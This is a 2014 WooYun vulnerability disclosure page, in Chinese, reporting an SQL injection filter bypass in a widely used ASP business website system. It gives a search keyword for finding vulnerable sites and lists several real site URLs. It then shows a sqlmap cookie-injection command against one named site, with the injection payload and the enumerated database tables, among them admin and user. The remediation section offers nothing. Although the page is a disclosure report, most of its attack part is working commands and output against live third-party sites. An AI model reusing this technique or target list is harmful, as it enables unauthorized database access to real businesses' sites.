当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-065718

漏洞标题:某商务大量在用系统存在绕过SQL防注入保护漏洞之三(影响数十万商务网站)

相关厂商:cncert国家互联网应急中心

漏洞作者: 泳少

提交时间:2014-06-23 17:44

修复时间:2014-09-21 17:46

公开时间:2014-09-21 17:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-23: 细节已通知厂商并且等待厂商处理中
2014-06-27: 厂商已经确认,细节仅向厂商公开
2014-06-30: 细节向第三方安全合作伙伴开放
2014-08-21: 细节向核心白帽子及相关领域专家公开
2014-08-31: 细节向普通白帽子公开
2014-09-10: 细节向实习白帽子公开
2014-09-21: 细节向公众公开

简要描述:

第三波的节奏啊?!!!!!!!!谢谢。。标题貌似有点夸张。。但是真的很腻害的样子。。@疯狗 @finger 大厂商吧!

详细说明:

看见了U神这个大牛能绕过防注入保护。然后我就找他询问下怎么绕过http://wooyun.org/bugs/wooyun-2010-065537!毕竟我这个本身是防注入的。。好了
废话不多说。直接主题。。。
关键字:

技术支持:鑫卓网络


http://74.125.227.77/#newwindow=1&q=+%E6%8A%80%E6%9C%AF%E6%94%AF%E6%8C%81%EF%BC%9A%E9%91%AB%E5%8D%93%E7%BD%91%E7%BB%9C

1.png


收集了点网站:

http://www.chriscn.com/Product.asp?BigClassName=%BD%C7%B7%A7%CF%B5%C1%D0
http://www.hzoccc.com/Product.asp?BigClassName=%B0%E1%D4%CB%B3%B5%CF%B5%C1%D0
http://fdafetreqwe.gotoip55.com/Product.asp?BigClassName=%C6%FB%B3%B5%EE%D3%BD%F0%CF%B5%C1%D0
http://www.cxaide.com/Product.asp?BigClassName=%C8%A1%C5%AF%C6%F7%CF%B5%C1%D0
http://www.blpack.com/Product.asp?BigClassName=%C6%FB%B3%B5%EE%D3%BD%F0%CF%B5%C1%D0
http://www.ygstw.com/Product.asp?BigClassName=%B7%C0%B7%E7%B7%C0%BA%AE%B9%A4%D7%F7%B7%FE


总结得出理论,Product.asp这个文件是产品展示的!后面的都是参数。
然后找了个网站利用sqlmap进行cookie注入

http://www.nbrrd.com/Product.asp?BigClassName=%C6%FB%B3%B5%EE%D3%BD%F0%CF%B5%C1%D0

漏洞证明:

1.jpg


C:\Python27\sqlmap>sqlmap.py -u  "http://www.nbrrd.com/Product.asp" --cookie "Bi
gClassName=%B8%C7%B0%E5%CF%B5%C1%D0" --level 3 --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:39:34
[12:39:34] [INFO] resuming back-end DBMS 'microsoft access'
[12:39:34] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: Cookie
Parameter: BigClassName
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: BigClassName=%B8%C7%B0%E5%CF%B5%C1%D0' AND 8523=8523 AND 'nhno'='nh
no
---
[12:39:35] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[12:39:35] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[12:39:35] [INFO] fetching number of tables for database 'Microsoft_Access_maste
rdb'
[12:39:35] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[12:39:35] [INFO] retrieved:
[12:39:35] [WARNING] reflective value(s) found and filtering out
[12:39:36] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[12:39:36] [WARNING] unable to retrieve the number of tables for database 'Micro
soft_Access_masterdb'
[12:39:36] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q] y
[12:39:38] [INFO] checking table existence using items from 'C:\Python27\sqlmap\
txt\common-tables.txt'
[12:39:38] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 10
[12:39:39] [INFO] starting 10 threads
[12:39:40] [INFO] retrieved: user
[12:39:42] [INFO] retrieved: product
[12:39:44] [INFO] retrieved: admin
[12:39:47] [INFO] retrieved: news
[12:40:18] [INFO] retrieved: feedback
[12:41:26] [INFO] tried 1380/3162 items (44%)
[12:41:26] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
[12:43:43] [INFO] tried 3162/3162 items (100%)
[12:43:52] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
Database: Microsoft_Access_masterdb
[5 tables]
+----------+
| user |
| admin |
| feedback |
| news |
| product |
+----------+
[12:43:53] [INFO] fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\www.nbrrd.com'
[*] shutting down at 12:43:53

修复方案:

想办法去吧!

版权声明:转载请注明来源 泳少@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-06-27 22:53

厂商回复:

CNVD确认并复现所述通用案例情况,已经由CNVD直接联系软件生产厂商,电话至****,将通报发送至邮箱yjm** 中处置。

最新状态:

暂无